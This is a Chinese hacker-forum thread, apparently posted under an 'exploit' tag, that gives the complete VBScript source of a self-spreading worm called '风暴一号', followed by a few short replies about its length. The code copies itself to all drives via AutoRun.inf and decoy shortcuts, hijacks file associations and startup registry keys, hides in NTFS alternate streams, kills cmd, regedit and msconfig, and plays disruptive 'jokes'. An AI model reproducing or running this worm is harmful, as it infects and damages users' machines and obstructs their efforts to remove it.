[漏洞利用] 风暴一号-源代码

 
733 5
悲年-王鹏博 2022-8-1 20:38:45 | 显示全部楼层 |阅读模式
  1. On Error Resume Next
  2. Dim Fso,WshShell
  3. Set Fso=CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
  4. Set WshShell=CreateObject("wScRipT.SHelL")
  5. Call Main()
  6. Sub Main()
  7.         On Error Resume Next
  8.         Dim Args, VirusLoad, VirusAss
  9.         Set Args=WScript.Arguments
  10.         VirusLoad=GetMainVirus(1)
  11.         VirusAss=GetMainVirus(0)
  12.         ArgNum=0
  13.        
  14.         Do While ArgNum < Args.Count
  15.                 Param=Param&" "&Args(ArgNum)
  16.                 ArgNum=ArgNum + 1
  17.         Loop
  18.         SubParam=LCase(Right(Param, 3))
  19.        
  20.         Select Case SubParam
  21.         Case "run"
  22.                 RunPath=Left(WScript.ScriptFullName, 2)
  23.                 Call Run(RunPath)
  24.                 Call InvadeSystem(VirusLoad,VirusAss)
  25.                 Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
  26.                
  27.         Case "txt", "log","ini" ,"inf"
  28.                 RunPath="%SystemRoot%\system32\NOTEPAD.EXE "&Param
  29.                 Call Run(RunPath)
  30.                 Call InvadeSystem(VirusLoad,VirusAss)
  31.                 Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
  32.                
  33.         Case "bat", "cmd"
  34.                 RunPath="CMD /c echo Hi!I'm here!&pause"
  35.                 Call Run(RunPath)
  36.                 Call InvadeSystem(VirusLoad,VirusAss)
  37.                 Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
  38.                
  39.         Case "reg"
  40.                 RunPath="regedit.exe "&""""&Trim(Param)&""""
  41.                 Call Run(RunPath)
  42.                 Call InvadeSystem(VirusLoad,VirusAss)
  43.                 Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
  44.                
  45.         Case "chm"
  46.                 RunPath="hh.exe "&""""&Trim(Param)&""""
  47.                 Call Run(RunPath)
  48.                 Call InvadeSystem(VirusLoad,VirusAss)
  49.                 Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)

  50.         Case "hlp"
  51.                 RunPath="winhlp32.exe "&""""&Trim(Param)&""""
  52.                 Call Run(RunPath)
  53.                 Call InvadeSystem(VirusLoad,VirusAss)
  54.                 Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
  55.                
  56.         Case "dir"
  57.                 RunPath=""""&Left(Trim(Param),Len(Trim(Param))-3)&""""
  58.                 Call Run(RunPath)
  59.                 Call InvadeSystem(VirusLoad,VirusAss)
  60.                 Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)

  61.         Case "oie"
  62.                 RunPath="""%ProgramFiles%\Internet Explorer\IEXPLORE.EXE"""
  63.                 Call Run(RunPath)
  64.                 Call InvadeSystem(VirusLoad,VirusAss)
  65.                 Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)

  66.         Case "omc"
  67.                 RunPath="explorer.exe /n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
  68.                 Call Run(RunPath)
  69.                 Call InvadeSystem(VirusLoad,VirusAss)
  70.                 Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)
  71.                
  72.         Case "emc"
  73.                 RunPath="explorer.exe /n,/e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
  74.                 Call Run(RunPath)
  75.                 Call InvadeSystem(VirusLoad,VirusAss)
  76.                 Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad)

  77.         Case Else
  78.                 If PreDblInstance=True Then
  79.                         WScript.Quit
  80.                 End If
  81.                 Timeout = Datediff("ww", GetInfectedDate, Date) - 12
  82.                 If Timeout>0 And Month(Date) = Day(Date) Then
  83.                        Call VirusAlert()
  84.                        Call MakeJoke(CInt(Month(Date)))
  85.                 End If
  86.                 Call MonitorSystem()
  87.                
  88.         End Select
  89. End Sub

  90. Sub MonitorSystem()
  91.         On Error Resume Next
  92.         Dim ProcessNames, ExeFullNames
  93.         ProcessNames=Array("cmd.exe","cmd.com","regedit.exe","regedit.scr","regedit.pif","regedit.com","msconfig.exe")
  94.         VBSFullNames=Array(GetMainVirus(1))
  95.         Do
  96.                 Call KillProcess(ProcessNames)
  97.                 Call InvadeSystem(GetMainVirus(1),GetMainVirus(0))
  98.                 Call KeepProcess(VBSFullNames)
  99.                 WScript.Sleep 3000
  100.         Loop
  101. End Sub

  102. Sub InvadeSystem(VirusLoadPath,VirusAssPath)
  103.         On Error Resume Next
  104.         Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version
  105.         Load_Value=""""&VirusLoadPath&""""
  106.         File_Value="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" %1 %* "
  107.         IE_Value="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" OIE "
  108.         MyCpt_Value1="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" OMC "
  109.         MyCpt_Value2="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" EMC "
  110.         HCULoad="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Load"
  111.         HCUVer="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver"
  112.         HCUDate="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date"
  113.         VirusCode=GetCode(WScript.ScriptFullName)
  114.         Version=1
  115.         HostSourcePath=Fso.GetSpecialFolder(1)&"\Wscript.exe"
  116.         HostFilePath=Fso.GetSpecialFolder(0)&"\system\svchost.exe"
  117.        
  118.         For Each Drive In Fso.Drives
  119.                 If Drive.IsReady and (Drive.DriveType=1 Or Drive.DriveType=2 Or Drive.DriveType=3) Then
  120.                         DiskVirusName=GetSerialNumber(Drive.DriveLetter)&".vbs"
  121.                                 Call CreateAutoRun(Drive.DriveLetter,DiskVirusName)
  122.                                 Call InfectRoot(Drive.DriveLetter,DiskVirusName)
  123.                 End If
  124.         Next
  125.        
  126.         If FSO.FileExists(VirusAssPath)=False Or FSO.FileExists(VirusLoadPath)=False Or FSO.FileExists(HostFilePath)=False Or GetVersion()< Version Then
  127.                 If GetFileSystemType(GetSystemDrive())="NTFS" Then
  128.                         Call CreateFile(VirusCode,VirusAssPath)
  129.                         Call CreateFile(VirusCode,VirusLoadPath)
  130.                         Call CopyFile(HostSourcePath,HostFilePath)
  131.                         Call SetHiddenAttr(HostFilePath)
  132.                 Else
  133.                         Call CreateFile(VirusCode, VirusAssPath)
  134.                         Call SetHiddenAttr(VirusAssPath)
  135.                         Call CreateFile(VirusCode,VirusLoadPath)
  136.                         Call SetHiddenAttr(VirusLoadPath)
  137.                         Call CopyFile(HostSourcePath, HostFilePath)
  138.                         Call SetHiddenAttr(HostFilePath)
  139.                 End If
  140.         End If
  141.        
  142.         If ReadReg(HCULoad)<>Load_Value  Then
  143.                 Call WriteReg (HCULoad, Load_Value, "")
  144.         End If
  145.        
  146.         If GetVersion() < Version Then
  147.                 Call WriteReg (HCUVer, Version, "")
  148.         End If
  149.        
  150.         If GetInfectedDate() = "" Then
  151.                 Call WriteReg (HCUDate, Date, "")
  152.         End If
  153.        
  154.         If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command")<>File_Value Then
  155.                 Call SetTxtFileAss(VirusAssPath)
  156.         End If
  157.        
  158.         If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command")<>File_Value Then
  159.                 Call SetIniFileAss(VirusAssPath)
  160.         End If
  161.        
  162.         If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command")<>File_Value Then
  163.                 Call SetInfFileAss(VirusAssPath)
  164.         End If
  165.        
  166.         If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command")<>File_Value Then
  167.                 Call SetBatFileAss(VirusAssPath)
  168.         End If
  169.        
  170.         If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command")<>File_Value Then
  171.                 Call SetCmdFileAss(VirusAssPath)
  172.         End If

  173.         If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command")<>File_Value Then
  174.                 Call SetRegFileAss(VirusAssPath)
  175.         End If
  176.        
  177.         If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command")<>File_Value Then
  178.                 Call SetchmFileAss(VirusAssPath)
  179.         End If
  180.        
  181.         If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command")<>File_Value Then
  182.                 Call SethlpFileAss(VirusAssPath)
  183.         End If
  184.        
  185.         If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command")<>IE_Value Then
  186.                 Call SetIEAss(VirusAssPath)
  187.         End If
  188.        
  189.         If ReadReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command")<>IE_Value Then
  190.                 Call SetIEAss(VirusAssPath)
  191.         End If
  192.        
  193.         If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command")<>MyCpt_Value1 Then
  194.                 Call SetMyComputerAss(VirusAssPath)
  195.         End If
  196.        
  197.         If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command")<>MyCpt_Value2 Then
  198.                 Call SetMyComputerAss(VirusAssPath)
  199.         End If
  200.        
  201.         Call RegSet()
  202. End Sub

  203. Sub CopyFile(source, pathf)
  204.         On Error Resume Next
  205.         If FSO.FileExists(pathf) Then
  206.                 FSO.DeleteFile pathf , True
  207.         End If       
  208.         FSO.CopyFile source, pathf
  209. End Sub

  210. Sub CreateFile(code, pathf)
  211.         On Error Resume Next
  212.         Dim FileText
  213.         If FSO.FileExists(pathf) Then
  214.                 Set FileText=FSO.OpenTextFile(pathf, 2, False)
  215.                 FileText.Write code
  216.                 FileText.Close
  217.         Else
  218.                 Set FileText=FSO.OpenTextFile(pathf, 2, True)
  219.                 FileText.Write code
  220.                 FileText.Close
  221.         End If
  222. End Sub

  223. Sub CreateFile(code, pathf)
  224.         On Error Resume Next
  225.         Dim FileText
  226.         If FSO.FileExists(pathf) Then
  227.                 Set FileText=FSO.OpenTextFile(pathf, 2, False)
  228.                 FileText.Write code
  229.                 FileText.Close
  230.         Else
  231.                 Set FileText=FSO.OpenTextFile(pathf, 2, True)
  232.                 FileText.Write code
  233.                 FileText.Close
  234.         End If
  235. End Sub

  236. Sub RegSet()
  237.         On Error Resume Next
  238.         Dim RegPath1 , RegPath2, RegPath3, RegPath4
  239.         RegPath1="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue"
  240.         RegPath2="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
  241.         RegPath3="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun"
  242.         RegPath4="HKEY_CLASSES_ROOT\lnkfile\IsShortcut"
  243.         Call WriteReg (RegPath1, 3, "REG_DWORD")
  244.         Call WriteReg (RegPath2, 2, "REG_DWORD")
  245.         Call WriteReg (RegPath3, 0, "REG_DWORD")
  246.         Call DeleteReg (RegPath4)
  247. End Sub

  248. Sub KillProcess(ProcessNames)
  249.         On Error Resume Next
  250.         Set WMIService=GetObject("winmgmts:\\.\root\cimv2")
  251.         For Each ProcessName in ProcessNames
  252.                 Set ProcessList=WMIService.execquery(" Select * From win32_process where name ='"&ProcessName&"' ")
  253.                 For Each Process in ProcessList
  254.                         IntReturn=Process.terminate
  255.                         If intReturn<>0 Then
  256.                                 WshShell.Run "CMD /c ntsd -c q -p "&Process.Handle, vbHide, False
  257.                         End If
  258.                 Next
  259.         Next
  260. End Sub

  261. Sub KillImmunity(D)
  262.         On Error Resume Next
  263.         ImmunityFolder=D&":\Autorun.inf"
  264.         If Fso.FolderExists(ImmunityFolder) Then
  265.                 WshSHell.Run ("CMD /C CACLS "& """"&ImmunityFolder&"""" &" /t /e /c /g everyone:f"),vbHide,True
  266.                 WshSHell.Run ("CMD /C RD /S /Q "& ImmunityFolder), vbHide, True
  267.         End If
  268. End Sub

  269. Sub KeepProcess(VBSFullNames)
  270.         On Error Resume Next
  271.         For Each VBSFullName in VBSFullNames
  272.                 If VBSProcessCount(VBSFullName) < 2 then
  273.                         Run("%SystemRoot%\system\svchost.exe "&VBSFullName)
  274.                 End If
  275.         Next
  276. End Sub

  277. Function GetSystemDrive()
  278.         GetSystemDrive=Left(Fso.GetSpecialFolder(0),2)
  279. End Function

  280. Function GetFileSystemType(Drive)
  281.         Set d=FSO.GetDrive(Drive)
  282.         GetFileSystemType=d.FileSystem
  283. End Function

  284. Function ReadReg(strkey)
  285.         Dim tmps
  286.         Set tmps=CreateObject("WScript.Shell")
  287.         ReadReg=tmps.RegRead(strkey)
  288.         Set tmps=Nothing
  289. End Function

  290. Sub WriteReg(strkey, Value, vtype)
  291.         Dim tmps
  292.         Set tmps=CreateObject("WScript.Shell")
  293.         If vtype="" Then
  294.                 tmps.RegWrite strkey, Value
  295.         Else
  296.                 tmps.RegWrite strkey, Value, vtype
  297.         End If
  298.         Set tmps=Nothing
  299. End Sub

  300. Sub DeleteReg(strkey)
  301.         Dim tmps
  302.         Set tmps=CreateObject("WScript.Shell")
  303.         tmps.RegDelete strkey
  304.         Set tmps=Nothing
  305. End Sub

  306. Sub SetHiddenAttr(path)
  307.         On Error Resume Next
  308.         Dim vf
  309.         Set vf=FSO.GetFile(path)
  310.         Set vf=FSO.GetFolder(path)
  311.         vf.Attributes=6
  312. End Sub

  313. Sub Run(ExeFullName)
  314.         On Error Resume Next
  315.         Dim WshShell
  316.         Set WshShell=WScript.CreateObject("WScript.Shell")
  317.         WshShell.Run ExeFullName
  318.         Set WshShell=Nothing
  319. End Sub

  320. Sub InfectRoot(D,VirusName)
  321.         On Error Resume Next
  322.         Dim VBSCode
  323.         VBSCode=GetCode(WScript.ScriptFullName)
  324.         VBSPath=D&":"&VirusName
  325.         If FSO.FileExists(VBSPath)=False Then
  326.                 Call CreateFile(VBSCode, VBSPath)
  327.                 Call SetHiddenAttr(VBSPath)
  328.         End If
  329.         Set Folder=Fso.GetFolder(D&":")
  330.         Set SubFolders=Folder.Subfolders
  331.         For Each SubFolder In SubFolders
  332.                 SetHiddenAttr(SubFolder.Path)
  333.                 LnkPath=D&":"&SubFolder.Name&".lnk"
  334.                 TargetPath=D&":"&VirusName
  335.                 Args=""""&D&":"&SubFolder.Name& "\Dir"""
  336.                 If Fso.FileExists(LnkPath)=False Or GetTargetPath(LnkPath) <> TargetPath Then
  337.                         If Fso.FileExists(LnkPath)=True Then
  338.                                 FSO.DeleteFile LnkPath, True
  339.                         End If
  340.                         Call CreateShortcut(LnkPath,TargetPath,Args)
  341.                 End If
  342.         Next
  343. End Sub

  344. Sub CreateShortcut(LnkPath,TargetPath,Args)
  345.         Set Shortcut=WshShell.CreateShortcut(LnkPath)
  346.         with Shortcut
  347.                 .TargetPath=TargetPath
  348.                 .Arguments=Args
  349.                 .WindowStyle=4
  350.                 .IconLocation="%SystemRoot%\System32\Shell32.dll, 3"
  351.                 .Save
  352.         end with
  353. End Sub

  354. Sub CreateAutoRun(D,VirusName)
  355.         On Error Resume Next
  356.         Dim InfPath, VBSPath, VBSCode
  357.         InfPath=D&":\AutoRun.inf"
  358.         VBSPath=D&":"&VirusName
  359.         VBSCode=GetCode(WScript.ScriptFullName)
  360.         If FSO.FileExists(InfPath)=False Or FSO.FileExists(VBSPath)=False Then
  361.                 Call CreateFile(VBSCode, VBSPath)
  362.                 Call SetHiddenAttr(VBSPath)
  363.                 StrInf="[AutoRun]"&VBCRLF&"Shellexecute=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell\open=打开(&O)"&VBCRLF&"shell\open\command=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell\open\Default=1"& VBCRLF&"shell\explore=资源管理器(&X)"&VBCRLF&"shell\explore\command=WScript.exe "&VirusName&" ""AutoRun"""
  364.                 Call KillImmunity(D)
  365.                 Call CreateFile(StrInf, InfPath)
  366.                 Call SetHiddenAttr(InfPath)
  367.         End If
  368. End Sub

  369. Sub SetTxtFileAss(sFilePath)
  370.         On Error Resume Next
  371.         Dim Value
  372.         Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
  373.         Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command", Value, "REG_EXPAND_SZ")
  374. End Sub

  375. Sub SetIniFileAss(sFilePath)
  376.         On Error Resume Next
  377.         Dim Value
  378.         Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
  379.         Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command", Value, "REG_EXPAND_SZ")
  380. End Sub

  381. Sub SetInfFileAss(sFilePath)
  382.         On Error Resume Next
  383.         Dim Value
  384.         Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
  385.         Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command", Value, "REG_EXPAND_SZ")
  386. End Sub

  387. Sub SetBatFileAss(sFilePath)
  388.         On Error Resume Next
  389.         Dim Value
  390.         Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
  391.         Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command", Value, "REG_EXPAND_SZ")
  392. End Sub

  393. Sub SetCmdFileAss(sFilePath)
  394.         On Error Resume Next
  395.         Dim Value
  396.         Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
  397.         Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command", Value, "REG_EXPAND_SZ")
  398. End Sub

  399. Sub SethlpFileAss(sFilePath)
  400.         On Error Resume Next
  401.         Dim Value
  402.         Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
  403.         Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command", Value, "REG_EXPAND_SZ")
  404. End Sub

  405. Sub SetRegFileAss(sFilePath)
  406.         On Error Resume Next
  407.         Dim Value
  408.         Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
  409.         Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command", Value, "REG_EXPAND_SZ")
  410. End Sub

  411. Sub SetchmFileAss(sFilePath)
  412.         On Error Resume Next
  413.         Dim Value
  414.         Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
  415.         Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command", Value, "REG_EXPAND_SZ")
  416. End Sub

  417. Sub SetIEAss(sFilePath)
  418.         On Error Resume Next
  419.         Dim Value
  420.         Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OIE "
  421.         Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command", Value, "REG_EXPAND_SZ")
  422.         Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command", Value, "REG_EXPAND_SZ")
  423. End Sub

  424. Sub SetMyComputerAss(sFilePath)
  425.         On Error Resume Next
  426.         Dim Value1,Value2
  427.         Value1="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OMC "
  428.         Value2="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" EMC "
  429.         Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell", "", "REG_SZ")
  430.         Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command", Value1, "REG_EXPAND_SZ")
  431.         Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command", Value2, "REG_EXPAND_SZ")
  432. End Sub

  433. Function GetSerialNumber(Drv)
  434.         On Error Resume Next
  435.         Set d=fso.GetDrive(Drv)
  436.         GetSerialNumber=d.SerialNumber
  437.         GetSerialNumber=Replace(GetSerialNumber,"-","")
  438. End Function

  439. Function GetMainVirus(N)
  440.         On Error Resume Next
  441.         MainVirusName=GetSerialNumber(GetSystemDrive())&".vbs"
  442.         If GetFileSystemType(GetSystemDrive())="NTFS" Then
  443.                 If N=1 Then
  444.                           GetMainVirus=Fso.GetSpecialFolder(N)&"\smss.exe:"&MainVirusName
  445.                 End If
  446.                 If N=0 Then
  447.                           GetMainVirus=Fso.GetSpecialFolder(N)&"\explorer.exe:"&MainVirusName
  448.                 End If
  449.         Else
  450.                   GetMainVirus=Fso.GetSpecialFolder(N)&""&MainVirusName
  451.         End If
  452. End Function

  453. Function VBSProcessCount(VBSPath)
  454.         On Error Resume Next
  455.         Dim WMIService, ProcessList, Process
  456.         VBSProcessCount=0
  457.         Set WMIService=GetObject("winmgmts:\\.\root\cimv2")
  458.         Set ProcessList=WMIService.ExecQuery("Select * from Win32_Process Where "&"Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'")
  459.         For Each Process in ProcessList
  460.                 If InStr(Process.CommandLine, VBSPath)>0 Then
  461.                         VBSProcessCount=VBSProcessCount+1
  462.                 End If
  463.         Next
  464. End Function

  465. Function PreDblInstance()
  466.         On Error Resume Next
  467.         PreDblInstance=False
  468.         If VBSProcessCount(WScript.ScriptFullName)>= 3 Then
  469.                 PreDblInstance=True
  470.         End If
  471. End Function

  472. Function GetTargetPath(LnkPath)
  473.         On Error Resume Next
  474.         Dim Shortcut
  475.         Set Shortcut=WshShell.CreateShortcut(LnkPath)
  476.         GetTargetPath=Shortcut.TargetPath
  477. End Function

  478. Function GetCode(FullPath)
  479.         On Error Resume Next
  480.         Dim FileText
  481.         Set FileText=FSO.OpenTextFile(FullPath, 1)
  482.         GetCode=FileText.ReadAll
  483.         FileText.Close
  484. End Function

  485. Function GetVersion()
  486.         Dim VerInfo
  487.         VerInfo="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver"
  488.         If ReadReg(VerInfo)="" Then
  489.                 GetVersion=0
  490.         Else
  491.                 GetVersion=CInt(ReadReg(VerInfo))
  492.         End If
  493. End Function

  494. Sub VirusAlert()
  495.         On Error Resume Next
  496.         Dim HtaPath,HtaCode
  497.         HtaPath=Fso.GetSpecialFolder(1)&"\BFAlert.hta"
  498.         HtaCode="<HTML><HEAD><TITLE>暴风一号</TITLE>"&VBCRLF&"<HTA:APPLICATION APPLICATIONNAME=""BoyFine V1.0"" SCROLL=""no"" windowstate=""maximize"" border=""none"""&VBCRLF&"SINGLEINSTANCE=""yes"" CAPTION=""no"" contextMenu=""no"" ShowInTaskBar=""no"" selection=""no"">"&VBCRLF&"</HEAD><BODY bgcolor=#000000><DIV align =""center"">"&VBCRLF&"<font style=""font-size:3500%;font-family:Wingdings;color=red"">N</font><BR>"&VBCRLF&"<font style=""font-size:200%;font-family:黑体;color=red"">暴风一号</font>"&VBCRLF&"</DIV></BODY></HTML>"
  499.         If FSO.FileExists(HtaPath)=False Then
  500.                 Call CreateFile(HtaCode, HtaPath)
  501.                 Call SetHiddenAttr(HtaPath)
  502.         End If
  503.         Call Run(HtaPath)
  504. End Sub

  505. Function GetInfectedDate()
  506.         On Error Resume Next
  507.         Dim DateInfo
  508.         DateInfo="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date"
  509.         If ReadReg(DateInfo)="" Then
  510.                 GetInfectedDate=""
  511.         Else
  512.                 GetInfectedDate=CDate(ReadReg(DateInfo))
  513.         End If
  514. End Function

  515. Sub MakeJoke(Times)
  516.         On Error Resume Next
  517.         Dim WMP, colCDROMs
  518.         Set WMP = CreateObject( "WMPlayer.OCX" )
  519.         Set colCDROMs = WMP.cdromCollection
  520.         If colCDROMs.Count >0 Then
  521.                 For i=1 to Times
  522.                         colCDROMs.Item(0).eject()
  523.                         WScript.Sleep 3000
  524.                         colCDROMs.Item(0).eject()
  525.                 Next
  526.         End If
  527.         Set WMP = Nothing
  528. End Sub
复制代码
五云包子 2022-8-2 09:57:13 | 显示全部楼层
500多行,可以上GitHub了

点评

什么意思1  详情 回复 发表于 2022-8-7 13:01
悲年-王鹏博 2022-8-7 13:01:51 | 显示全部楼层
五云包子 发表于 2022-8-2 09:57
500多行,可以上GitHub了

什么意思1
shadow虚空幻影 2022-9-30 21:32:42 | 显示全部楼层
将近600行啊
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

悲年-王鹏博

精英红客

关注
  • 15
    主题
  • 2
    粉丝
  • 3
    关注
这家伙很蛇,什么都留下了

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行